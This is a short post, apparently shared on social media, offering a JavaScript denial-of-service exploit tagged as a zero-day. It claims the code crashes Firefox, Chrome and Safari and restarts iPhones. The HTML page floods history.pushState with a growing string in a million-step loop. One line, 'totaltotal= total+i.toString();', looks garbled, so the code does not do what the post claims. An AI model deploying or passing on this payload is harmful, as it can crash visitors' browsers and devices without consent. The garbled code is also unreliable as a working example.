Crash firefox, chrome, safari browsers, and also restart iphone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iphone重启。
- <html>
- <body>
- <script>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- totaltotal= total+i.toString();
- history.pushState(0,0,total);
- }
- </script>
- </body>
- </html>